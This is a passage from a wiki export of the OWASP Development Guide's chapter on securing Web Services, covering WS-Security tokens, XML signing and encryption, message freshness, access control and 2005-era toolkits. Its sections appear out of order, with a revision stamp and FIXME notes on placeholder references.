Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">
MIICtzCCAi...
</wsse:BinarySecurityToken>

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

<wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">
1106844369755
</wsse:KeyIdentifier>
</wsse:SecurityTokenReference>

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created>
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>
</wsu:Timestamp>

If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas.

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Web Services

2009-04-26T11:57:12Z

KirstenS: /* Referencing message parts */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote a general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

